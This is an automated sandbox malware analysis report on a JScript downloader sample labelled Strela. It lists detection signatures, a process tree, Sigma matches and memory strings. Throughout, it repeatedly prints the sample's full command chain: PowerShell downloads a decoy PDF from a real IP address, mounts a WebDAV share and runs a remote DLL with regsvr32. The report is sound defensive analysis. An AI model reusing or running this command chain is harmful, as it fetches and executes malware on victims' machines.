Edit tour

Windows Analysis Report
1972511502582515381.js

Overview

General Information

Sample name:	1972511502582515381.js
Analysis ID:	1587880
MD5:	54059723b7837044260ccc841d535b03
SHA1:	db2f2d1138d4cec25531f2c0e1687ee720d766fd
SHA256:	b5615b34c11ee0fc9a55249bb36086a1f008a57ff9abbdaa44e258943ceaabe1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2132 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5512 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1084 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,12254396547389125346,4027374144643882366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2380 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5652 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6380 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2132	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5512, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1084, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5512, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1084, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ProcessId: 2132, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2132, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ProcessId: 5512, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2132, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ProcessId: 5512, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2132, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ProcessId: 5512, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2132, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ProcessId: 5512, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2132, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ProcessId: 5512, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ProcessId: 2132, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5512, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1084, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2380, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5652, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6380, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2380, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5652, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972511502582515381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2132, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll, ProcessId: 5512, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1972511502582515381.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1972511502582515381.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.2049154057.00000283A701F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.p
Source: wscript.exe, 00000000.00000002.2049154057.00000283A701F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2101675650.00000211CB868000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101267367.00000211CB8BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101720713.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101720713.00000211CB8C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101338179.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2101720713.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101338179.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: net.exe, 00000007.00000002.2101720713.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101338179.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: svchost.exe, 00000009.00000002.3339626695.0000015388400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2118234813.00000153882D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2132, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1972511502582515381.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@28/62@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5496:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkzae0yk.sjq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

